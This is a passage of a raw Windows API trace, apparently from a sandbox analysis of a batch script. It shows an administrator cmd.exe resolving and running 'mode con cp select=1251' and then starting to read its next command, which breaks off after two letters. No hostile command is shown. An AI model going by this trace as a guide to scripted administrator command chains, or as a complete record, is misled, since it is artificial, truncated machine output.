lpConsoleTitle=0x28fad0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0058.549] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0058.549] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0058.549] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0058.549] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0058.549] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0058.550] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0058.550] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0058.550] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0058.550] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0058.550] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0058.550] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0058.551] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0058.551] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0058.551] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0058.551] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0058.551] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0058.551] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0058.551] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0058.551] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0058.551] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0058.551] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0058.551] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0058.552] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0058.552] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0058.552] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0058.552] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0058.552] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0058.552] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0058.552] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0058.552] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0058.552] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0058.552] _wcsicmp (_String1="mode", _String2="START") returned -6 [0058.552] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0058.552] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0058.552] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0058.553] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0058.553] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0058.553] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0058.553] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0058.553] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0058.553] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0058.553] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0058.553] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0058.553] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0058.553] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0058.553] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0058.554] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0058.554] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0058.554] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0058.554] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0058.554] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0058.554] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0058.554] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0058.554] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0058.554] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0058.554] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0058.554] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0058.554] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0058.554] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0058.555] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0058.555] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0058.555] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0058.555] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0058.555] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0058.555] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0058.555] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0058.555] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0058.555] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0058.555] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0058.555] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0058.556] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0058.556] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0058.556] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0058.556] _wcsicmp (_String1="mode", _String2="START") returned -6 [0058.556] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0058.556] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0058.556] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0058.556] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0058.556] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0058.556] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0058.556] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0058.557] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0058.557] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0058.557] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0058.557] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0058.557] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0058.557] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0058.557] GetProcessHeap () returned 0x3a0000 [0058.557] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x218) returned 0x3a1ab0 [0058.558] GetProcessHeap () returned 0x3a0000 [0058.558] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x42) returned 0x3b98a0 [0058.558] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0058.558] GetProcessHeap () returned 0x3a0000 [0058.558] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x420) returned 0x3b9a80 [0058.559] SetErrorMode (uMode=0x0) returned 0x0 [0058.559] SetErrorMode (uMode=0x1) returned 0x0 [0058.559] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3b9a90, lpFilePart=0x28f360 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f360*="Desktop") returned 0x25 [0058.559] SetErrorMode (uMode=0x0) returned 0x1 [0058.559] GetProcessHeap () returned 0x3a0000 [0058.559] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b9a80, Size=0x66) returned 0x3b9a80 [0058.560] GetProcessHeap () returned 0x3a0000 [0058.560] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b9a80) returned 0x66 [0058.560] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.560] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0058.560] GetProcessHeap () returned 0x3a0000 [0058.560] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x128) returned 0x3a1cd0 [0058.561] GetProcessHeap () returned 0x3a0000 [0058.561] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x240) returned 0x3b9b00 [0058.578] GetProcessHeap () returned 0x3a0000 [0058.579] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b9b00, Size=0x12a) returned 0x3b9b00 [0058.579] GetProcessHeap () returned 0x3a0000 [0058.579] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b9b00) returned 0x12a [0058.579] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.579] GetProcessHeap () returned 0x3a0000 [0058.579] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xe8) returned 0x3b5b70 [0058.579] GetProcessHeap () returned 0x3a0000 [0058.579] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b5b70, Size=0x7e) returned 0x3b5b70 [0058.579] GetProcessHeap () returned 0x3a0000 [0058.579] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b5b70) returned 0x7e [0058.592] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0058.592] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0xffffffffffffffff [0058.593] GetLastError () returned 0x2 [0058.593] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0xffffffffffffffff [0058.593] GetLastError () returned 0x2 [0058.593] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0058.593] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0x3b5c00 [0058.594] GetProcessHeap () returned 0x3a0000 [0058.594] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x0, Size=0x28) returned 0x3b4640 [0058.594] FindClose (in: hFindFile=0x3b5c00 | out: hFindFile=0x3b5c00) returned 1 [0058.594] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x28f0d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28f0d0) returned 0x3b5c00 [0058.594] GetProcessHeap () returned 0x3a0000 [0058.594] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b4640, Size=0x8) returned 0x3b98f0 [0058.594] FindClose (in: hFindFile=0x3b5c00 | out: hFindFile=0x3b5c00) returned 1 [0058.595] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0058.595] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0058.595] GetConsoleTitleW (in: lpConsoleTitle=0x28f620, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0058.595] GetProcessHeap () returned 0x3a0000 [0058.595] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x21c) returned 0x3b9c40 [0058.595] GetConsoleTitleW (in: lpConsoleTitle=0x3b9c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0058.596] GetProcessHeap () returned 0x3a0000 [0058.596] RtlReAllocateHeap (Heap=0x3a0000, Flags=0x0, Ptr=0x3b9c40, Size=0xa8) returned 0x3b9c40 [0058.596] GetProcessHeap () returned 0x3a0000 [0058.596] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3b9c40) returned 0xa8 [0058.596] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0058.597] GetProcessHeap () returned 0x3a0000 [0058.598] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b9c40 | out: hHeap=0x3a0000) returned 1 [0058.598] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f3d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f398 | out: lpAttributeList=0x28f3d8, lpSize=0x28f398) returned 1 [0058.598] UpdateProcThreadAttribute (in: lpAttributeList=0x28f3d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f388, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f3d8, lpPreviousValue=0x0) returned 1 [0058.598] GetStartupInfoW (in: lpStartupInfo=0x28f4f0 | out: lpStartupInfo=0x28f4f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0058.598] GetProcessHeap () returned 0x3a0000 [0058.598] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x20) returned 0x3b4640 [0058.598] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0058.598] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0058.598] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0058.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0058.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0058.600] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0058.601] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0058.601] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0058.601] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0058.601] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0058.601] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0058.601] GetProcessHeap () returned 0x3a0000 [0058.601] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b4640 | out: hHeap=0x3a0000) returned 1 [0058.601] GetProcessHeap () returned 0x3a0000 [0058.601] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x12) returned 0x3b8900 [0058.601] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28f410*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f3c0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x28f3c0*(hProcess=0x54, hThread=0x50, dwProcessId=0x478, dwThreadId=0x80c)) returned 1 [0058.799] CloseHandle (hObject=0x50) returned 1 [0058.799] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0058.799] GetProcessHeap () returned 0x3a0000 [0058.799] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc230 | out: hHeap=0x3a0000) returned 1 [0058.799] GetEnvironmentStringsW () returned 0x3baa10* [0058.800] GetProcessHeap () returned 0x3a0000 [0058.800] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xae8) returned 0x3bb500 [0058.800] FreeEnvironmentStringsW (penv=0x3baa10) returned 1 [0058.800] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77140000 [0058.800] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0058.801] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x28ecc8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x28ecc8, ReturnLength=0x0) returned 0x0 [0058.801] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd5000, lpBuffer=0x28ed00, nSize=0x380, lpNumberOfBytesRead=0x28ecc0 | out: lpBuffer=0x28ed00*, lpNumberOfBytesRead=0x28ecc0*=0x380) returned 1 [0058.801] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0063.636] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x28f308 | out: lpExitCode=0x28f308*=0x0) returned 1 [0063.637] CloseHandle (hObject=0x54) returned 1 [0063.637] _vsnwprintf (in: _Buffer=0x28f578, _BufferCount=0x13, _Format="%08X", _ArgList=0x28f318 | out: _Buffer="00000000") returned 8 [0063.637] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0063.638] GetProcessHeap () returned 0x3a0000 [0063.638] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bb500 | out: hHeap=0x3a0000) returned 1 [0063.638] GetEnvironmentStringsW () returned 0x3baa10* [0063.638] GetProcessHeap () returned 0x3a0000 [0063.638] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb0e) returned 0x3beb10 [0063.638] FreeEnvironmentStringsW (penv=0x3baa10) returned 1 [0063.638] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0063.639] GetProcessHeap () returned 0x3a0000 [0063.639] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3beb10 | out: hHeap=0x3a0000) returned 1 [0063.639] GetEnvironmentStringsW () returned 0x3baa10* [0063.639] GetProcessHeap () returned 0x3a0000 [0063.639] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xb0e) returned 0x3beb10 [0063.639] FreeEnvironmentStringsW (penv=0x3baa10) returned 1 [0063.639] GetProcessHeap () returned 0x3a0000 [0063.639] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b8900 | out: hHeap=0x3a0000) returned 1 [0063.639] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f3d8 | out: lpAttributeList=0x28f3d8) [0063.934] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0063.937] _get_osfhandle (_FileHandle=1) returned 0xf4 [0063.938] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0063.938] _get_osfhandle (_FileHandle=1) returned 0xf4 [0063.938] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a90e194 | out: lpMode=0x4a90e194) returned 0 [0063.938] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.938] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a90e198 | out: lpMode=0x4a90e198) returned 0 [0063.939] GetConsoleOutputCP () returned 0x4e3 [0063.939] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a91bfe0 | out: lpCPInfo=0x4a91bfe0) returned 1 [0063.940] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.941] GetProcessHeap () returned 0x3a0000 [0063.941] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b5b70 | out: hHeap=0x3a0000) returned 1 [0063.941] GetProcessHeap () returned 0x3a0000 [0063.941] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b9b00 | out: hHeap=0x3a0000) returned 1 [0063.941] GetProcessHeap () returned 0x3a0000 [0063.941] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3a1cd0 | out: hHeap=0x3a0000) returned 1 [0063.941] GetProcessHeap () returned 0x3a0000 [0063.941] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b9a80 | out: hHeap=0x3a0000) returned 1 [0063.942] GetProcessHeap () returned 0x3a0000 [0063.942] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b98a0 | out: hHeap=0x3a0000) returned 1 [0063.942] GetProcessHeap () returned 0x3a0000 [0063.942] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3a1ab0 | out: hHeap=0x3a0000) returned 1 [0063.942] GetProcessHeap () returned 0x3a0000 [0063.942] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b6510 | out: hHeap=0x3a0000) returned 1 [0063.942] GetProcessHeap () returned 0x3a0000 [0063.942] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b4610 | out: hHeap=0x3a0000) returned 1 [0063.942] GetProcessHeap () returned 0x3a0000 [0063.942] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b97e0 | out: hHeap=0x3a0000) returned 1 [0063.943] _vsnwprintf (in: _Buffer=0x4a926340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f838 | out: _Buffer="\r\n") returned 2 [0063.943] _get_osfhandle (_FileHandle=1) returned 0xf4 [0063.943] GetFileType (hFile=0xf4) returned 0x3 [0063.943] _get_osfhandle (_FileHandle=1) returned 0xf4 [0063.943] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0063.943] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28f808, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28f808*=0x2, lpOverlapped=0x0) returned 1 [0063.943] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0063.944] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a91c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.944] _vsnwprintf (in: _Buffer=0x4a90eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28f848 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0063.944] _vsnwprintf (in: _Buffer=0x4a90ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28f848 | out: _Buffer=">") returned 1 [0063.944] _get_osfhandle (_FileHandle=1) returned 0xf4 [0063.944] GetFileType (hFile=0xf4) returned 0x3 [0063.944] _get_osfhandle (_FileHandle=1) returned 0xf4 [0063.944] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0063.944] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x28f838, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28f838*=0x26, lpOverlapped=0x0) returned 1 [0063.945] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.945] GetFileType (hFile=0xe8) returned 0x3 [0063.945] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.945] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.945] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.945] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0063.946] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.946] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.946] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.946] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a91c320, cbMultiByte=1, lpWideCharStr=0x4a91e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0063.946] _get_osfhandle (_FileHandle=0) returned 0xe8 [0063.946] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.946] ReadFile (in: hFile=0xe8, lpBuffer=0x4a91c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesRead=0x28fb38*=0x1, lpOverlapped=0x0) returned 1 [0063.946] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, 